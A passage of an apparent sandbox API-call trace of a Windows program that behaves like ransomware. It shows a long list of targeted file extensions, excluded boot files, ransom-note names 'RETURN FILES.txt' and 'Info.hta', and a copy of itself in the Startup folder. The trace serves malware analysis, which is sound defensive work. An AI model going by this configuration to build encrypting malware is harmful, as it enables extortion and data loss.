returned 0x74d900 [0157.158] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x79a018, Size=0x20) returned 0x74d928 [0157.158] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d928, Size=0x40) returned 0x727a98 [0157.158] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727a98, Size=0x80) returned 0x7954c8 [0157.158] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7954c8, Size=0x100) returned 0x752fd8 [0157.158] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0157.158] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752fd8 | out: hHeap=0x710000) returned 1 [0157.158] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x774980, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0157.158] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x79a1c0 | out: hHeap=0x710000) returned 1 [0157.159] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x774980 | out: hHeap=0x710000) returned 1 [0157.160] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e180, Size=0x8) returned 0x74e160 [0157.160] lstrlenW (lpString="%windir%;") returned 9 [0157.160] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d900 | out: hHeap=0x710000) returned 1 [0157.160] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0157.160] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x764978 | out: hHeap=0x710000) returned 1 [0157.161] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x79a018, Size=0x20) returned 0x74d900 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d900, Size=0x40) returned 0x727ae0 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727ae0, Size=0x80) returned 0x794d58 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x794d58, Size=0x100) returned 0x752fd8 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e050, Size=0x8) returned 0x74e0f0 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e0f0, Size=0x10) returned 0x79a0a8 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x79a0a8, Size=0x20) returned 0x74d770 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e030, Size=0x8) returned 0x74e090 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e010, Size=0x8) returned 0x74dfe0 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e0f0, Size=0x8) returned 0x74e030 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e030, Size=0x10) returned 0x799b38 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x799b38, Size=0x20) returned 0x74d6a8 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e090, Size=0x10) returned 0x7999e8 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74dfe0, Size=0x10) returned 0x799ca0 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e0c0, Size=0x8) returned 0x74e100 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e180, Size=0x8) returned 0x74e050 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7999e8, Size=0x20) returned 0x74d7e8 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x799ca0, Size=0x20) returned 0x74d798 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e080, Size=0x8) returned 0x74e020 [0157.162] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0157.162] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752fd8 | out: hHeap=0x710000) returned 1 [0157.162] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x799bb0, Size=0x20) returned 0x74d810 [0157.163] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x79a1c0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0157.163] lstrlenW (lpString="C:\\") returned 3 [0157.163] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.163] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x79a1c0 | out: hHeap=0x710000) returned 1 [0157.164] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e120, Size=0x82) returned 0x753068 [0157.164] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e130, Size=0x100) returned 0x7530f8 [0157.164] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753068, Size=0x104) returned 0x7986c0 [0157.164] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7530f8, Size=0x200) returned 0x796188 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dfd0 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x796188 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799a30 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x794bc0 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799cb8 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7956e8 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799a48 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7986c0 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7999e8 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7985a0 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799a00 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x798630 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799a18 | out: hHeap=0x710000) returned 1 [0157.166] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x799ca0, Size=0x20) returned 0x74d6d0 [0157.166] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d6d0, Size=0x40) returned 0x727660 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74e0c0 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799c88 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752fd8 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799b20 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x794d58 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799aa8 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74e110 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799a90 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x725758 | out: hHeap=0x710000) returned 1 [0157.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7263d8 | out: hHeap=0x710000) returned 1 [0157.167] lstrlenW (lpString="%systemdrive%") returned 13 [0157.167] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d810 | out: hHeap=0x710000) returned 1 [0157.167] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x795088 | out: hHeap=0x710000) returned 1 [0157.167] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dfe0 | out: hHeap=0x710000) returned 1 [0157.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x754958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0157.168] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x799a90, Size=0x20) returned 0x74d7c0 [0157.168] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d7c0, Size=0x40) returned 0x727a98 [0157.168] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727a98, Size=0x80) returned 0x795440 [0157.168] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x795440, Size=0x100) returned 0x752fd8 [0157.168] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752fd8, Size=0x200) returned 0x752fd8 [0157.168] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752fd8, Size=0x400) returned 0x7985a0 [0157.168] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7985a0, Size=0x800) returned 0x7ac1e8 [0157.168] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac1e8, Size=0x1000) returned 0x796188 [0157.169] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e180, Size=0x8) returned 0x74dfd0 [0157.169] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74dfd0, Size=0x10) returned 0x799cb8 [0157.169] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x799cb8, Size=0x20) returned 0x74d900 [0157.169] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d900, Size=0x40) returned 0x7276a8 [0157.169] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7276a8, Size=0x80) returned 0x795660 [0157.169] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x795660, Size=0x100) returned 0x752fd8 [0157.169] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752fd8, Size=0x200) returned 0x752fd8 [0157.169] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752fd8, Size=0x400) returned 0x7985a0 [0157.169] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7985a0, Size=0x800) returned 0x7ac5f0 [0157.169] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0157.169] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x796188 | out: hHeap=0x710000) returned 1 [0157.169] lstrlenW (lpString="") returned 0 [0157.170] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x775a70 | out: hHeap=0x710000) returned 1 [0157.170] lstrlenW (lpString=".save") returned 5 [0157.170] lstrlenW (lpString=".save") returned 5 [0157.170] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x775a70 | out: hHeap=0x710000) returned 1 [0157.170] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775aa0, Size=0x20) returned 0x74d9f0 [0157.170] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d9f0, Size=0x40) returned 0x7276a8 [0157.170] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7276a8, Size=0x80) returned 0x7957f8 [0157.170] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac2c8, Size=0x8) returned 0x7ac3e8 [0157.170] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac3e8, Size=0x10) returned 0x775aa0 [0157.170] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775aa0, Size=0x20) returned 0x74d7c0 [0157.170] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0157.170] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7957f8 | out: hHeap=0x710000) returned 1 [0157.170] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775e30, Size=0x20) returned 0x74d810 [0157.170] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d810, Size=0x40) returned 0x727978 [0157.170] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0157.170] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0157.170] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x727978 | out: hHeap=0x710000) returned 1 [0157.170] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775ea8, Size=0x20) returned 0x74d950 [0157.170] lstrlenW (lpString="Info.hta") returned 8 [0157.170] lstrlenW (lpString="Info.hta") returned 8 [0157.170] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d950 | out: hHeap=0x710000) returned 1 [0157.467] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x776990, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe")) returned 0x47 [0157.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x776990 | out: hHeap=0x710000) returned 1 [0157.468] lstrlenW (lpString="wmxsde.exe") returned 10 [0157.468] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d7c0, Size=0x40) returned 0x78dd88 [0157.468] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775f98, Size=0x20) returned 0x74d7c0 [0157.468] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775f98, Size=0x20) returned 0x74d9c8 [0157.468] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d9c8, Size=0x40) returned 0x78e058 [0157.468] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78e058, Size=0x80) returned 0x7953b8 [0157.468] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7953b8, Size=0x100) returned 0x796858 [0157.468] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0157.468] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x796858 | out: hHeap=0x710000) returned 1 [0157.468] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x776990, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0157.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7cee58 | out: hHeap=0x710000) returned 1 [0157.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x776990 | out: hHeap=0x710000) returned 1 [0157.469] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac408, Size=0x8) returned 0x7ac238 [0157.469] lstrlenW (lpString="%windir%;") returned 9 [0157.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d7c0 | out: hHeap=0x710000) returned 1 [0157.469] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0157.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x764978 | out: hHeap=0x710000) returned 1 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775f98, Size=0x20) returned 0x74d608 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d608, Size=0x40) returned 0x78dbd8 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78dbd8, Size=0x80) returned 0x795440 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x795440, Size=0x100) returned 0x796858 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac288, Size=0x8) returned 0x7ac2c8 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac2c8, Size=0x10) returned 0x775d70 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775d70, Size=0x20) returned 0x74d9c8 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac218, Size=0x8) returned 0x7ac288 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac228, Size=0x8) returned 0x7ac378 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac3a8, Size=0x8) returned 0x7ac3b8 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac3b8, Size=0x10) returned 0x78b878 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b878, Size=0x20) returned 0x74d9f0 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac288, Size=0x10) returned 0x78ba58 [0157.470] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac378, Size=0x10) returned 0x78b908 [0157.471] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac288, Size=0x8) returned 0x7ac2a8 [0157.471] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac3a8, Size=0x8) returned 0x7ac2c8 [0157.471] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78ba58, Size=0x20) returned 0x74da18 [0157.471] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b908, Size=0x20) returned 0x74d7c0 [0157.471] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac2f8, Size=0x8) returned 0x7ac318 [0157.471] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0157.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x796858 | out: hHeap=0x710000) returned 1 [0157.471] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b8f0, Size=0x20) returned 0x74da68 [0157.471] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x764978, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0157.471] lstrlenW (lpString="C:\\") returned 3 [0157.471] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.472] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x764978 | out: hHeap=0x710000) returned 1 [0157.472] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac3a8, Size=0x82) returned 0x796858 [0157.472] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac2e8, Size=0x100) returned 0x7968e8 [0157.472] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x796858, Size=0x104) returned 0x78c808 [0157.472] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7968e8, Size=0x200) returned 0x78e100 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac3b8 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78e100 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78ba28 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x795660 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b860 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x795770 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b998 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78c808 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b818 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78c6e8 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b878 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78c778 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b890 | out: hHeap=0x710000) returned 1 [0157.474] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b860, Size=0x20) returned 0x74da90 [0157.474] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74da90, Size=0x40) returned 0x78dcf8 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac408 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b980 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7bce80 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b938 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7953b8 | out: hHeap=0x710000) returned 1 [0157.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b920 | out: hHeap=0x710000) returned 1 [0157.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac288 | out: hHeap=0x710000) returned 1 [0157.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b9f8 | out: hHeap=0x710000) returned 1 [0157.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78c390 | out: hHeap=0x710000) returned 1 [0157.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7266d8 | out: hHeap=0x710000) returned 1 [0157.475] lstrlenW (lpString="%systemdrive%") returned 13 [0157.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74da68 | out: hHeap=0x710000) returned 1 [0157.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x795198 | out: hHeap=0x710000) returned 1 [0157.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac2d8 | out: hHeap=0x710000) returned 1 [0157.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x79c1c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0157.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0x72ae28*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0204.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72ae28 | out: hHeap=0x710000) returned 1 [0204.791] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0204.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7278e8 | out: hHeap=0x710000) returned 1 [0204.791] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2e50 [0204.791] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2e50, Size=0x20) returned 0x459f790 [0204.791] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x459f790, Size=0x40) returned 0x4579170 [0204.791] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4579170, Size=0x80) returned 0x7955d8 [0204.791] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2d78 [0204.791] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2d78, Size=0x20) returned 0x459f6c8 [0204.791] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1fffc) returned 0x37b2750 [0204.792] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x776990 [0204.793] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45336e0 [0204.793] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2cb8 [0204.793] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2cb8, Size=0x20) returned 0x459f8d0 [0204.793] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x459f8d0, Size=0x40) returned 0x4578e58 [0204.793] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4578e58, Size=0x80) returned 